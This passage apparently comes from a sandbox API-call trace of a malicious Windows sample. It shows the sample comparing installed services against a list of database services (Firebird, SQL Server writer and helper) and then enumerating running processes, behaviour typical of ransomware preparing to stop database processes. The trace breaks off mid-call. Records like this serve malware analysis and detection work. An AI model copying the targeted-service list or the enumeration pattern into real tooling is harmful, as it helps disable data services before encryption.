lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0122.417] lstrlenW (lpString="Schedule") returned 8 [0122.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0122.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0122.417] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0122.417] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0122.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0122.417] lstrlenW (lpString="SecurityHealthService") returned 21 [0122.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0122.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0122.417] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0122.417] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0122.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0122.417] lstrlenW (lpString="SENS") returned 4 [0122.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0122.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0122.418] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0122.418] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0122.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0122.418] lstrlenW (lpString="ShellHWDetection") returned 16 [0122.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0122.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0122.418] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0122.418] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0122.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0122.418] lstrlenW (lpString="Spooler") returned 7 [0122.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0122.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0122.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0122.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0122.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0122.418] lstrlenW (lpString="SSDPSRV") returned 7 [0122.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0122.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0122.418] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0122.418] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0122.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0122.418] lstrlenW (lpString="StateRepository") returned 15 [0122.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0122.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0122.418] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0122.418] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0122.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0122.418] lstrlenW (lpString="SysMain") returned 7 [0122.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0122.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0122.418] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0122.418] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0122.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0122.418] lstrlenW (lpString="SystemEventsBroker") returned 18 [0122.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0122.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0122.419] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0122.419] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0122.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x646f08 | out: hHeap=0x5a0000) returned 1 [0122.419] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfd0 [0122.425] Process32FirstW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.426] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0122.426] lstrlenW (lpString="System") returned 6 [0122.426] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0122.427] lstrlenW (lpString="smss.exe") returned 8 [0122.427] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.428] lstrlenW (lpString="csrss.exe") returned 9 [0122.428] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0122.428] lstrlenW (lpString="wininit.exe") returned 11 [0122.428] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.429] lstrlenW (lpString="csrss.exe") returned 9 [0122.429] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0122.430] lstrlenW (lpString="winlogon.exe") returned 12 [0122.430] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0122.430] lstrlenW (lpString="services.exe") returned 12 [0122.430] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0122.431] lstrlenW (lpString="lsass.exe") returned 9 [0122.431] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.432] lstrlenW (lpString="svchost.exe") returned 11 [0122.432] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0122.432] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0122.432] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0122.433] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0122.433] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.434] lstrlenW (lpString="svchost.exe") returned 11 [0122.434] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0122.434] lstrlenW (lpString="dwm.exe") returned 7 [0122.434] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.435] lstrlenW (lpString="svchost.exe") returned 11 [0122.435] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.435] lstrlenW (lpString="svchost.exe") returned 11 [0122.435] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.436] lstrlenW (lpString="svchost.exe") returned 11 [0122.436] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.437] lstrlenW (lpString="svchost.exe") returned 11 [0122.437] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.438] lstrlenW (lpString="svchost.exe") returned 11 [0122.438] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.438] lstrlenW (lpString="svchost.exe") returned 11 [0122.438] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.439] lstrlenW (lpString="svchost.exe") returned 11 [0122.439] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.440] lstrlenW (lpString="svchost.exe") returned 11 [0122.440] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.440] lstrlenW (lpString="svchost.exe") returned 11 [0122.440] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0122.441] lstrlenW (lpString="spoolsv.exe") returned 11 [0122.441] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.441] lstrlenW (lpString="svchost.exe") returned 11 [0122.442] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.442] lstrlenW (lpString="svchost.exe") returned 11 [0122.442] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0122.443] lstrlenW (lpString="audiodg.exe") returned 11 [0122.443] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0122.443] lstrlenW (lpString="sihost.exe") returned 10 [0122.443] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.444] lstrlenW (lpString="svchost.exe") returned 11 [0122.444] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0122.445] lstrlenW (lpString="taskhostw.exe") returned 13 [0122.445] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0122.445] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0122.445] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0122.446] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0122.446] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0122.446] lstrlenW (lpString="explorer.exe") returned 12 [0122.446] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0122.447] lstrlenW (lpString="Memory Compression") returned 18 [0122.447] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0122.448] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0122.448] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0122.448] lstrlenW (lpString="SearchUI.exe") returned 12 [0122.448] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0122.449] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0122.449] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0122.450] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0122.450] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0122.450] lstrlenW (lpString="taskhostw.exe") returned 13 [0122.450] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0122.451] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0122.451] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0122.451] lstrlenW (lpString="UsoClient.exe") returned 13 [0122.452] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0122.452] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0122.452] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0122.458] lstrlenW (lpString="msoia.exe") returned 9 [0122.458] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0122.459] lstrlenW (lpString="taskhostw.exe") returned 13 [0122.459] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0122.459] lstrlenW (lpString="msoia.exe") returned 9 [0122.459] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0122.460] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0122.460] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0122.461] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0122.461] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0122.462] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0122.462] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0122.462] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0122.462] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0122.463] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0122.463] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0122.464] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0122.464] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0122.464] lstrlenW (lpString="concerned venture.exe") returned 21 [0122.464] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0122.465] lstrlenW (lpString="organizingscsi.exe") returned 18 [0122.465] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0122.466] lstrlenW (lpString="airplane placing.exe") returned 20 [0122.466] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0122.466] lstrlenW (lpString="circus.exe") returned 10 [0122.466] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0122.467] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0122.467] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0122.468] lstrlenW (lpString="das.exe") returned 7 [0122.468] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0122.469] lstrlenW (lpString="beam removable.exe") returned 18 [0122.469] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: 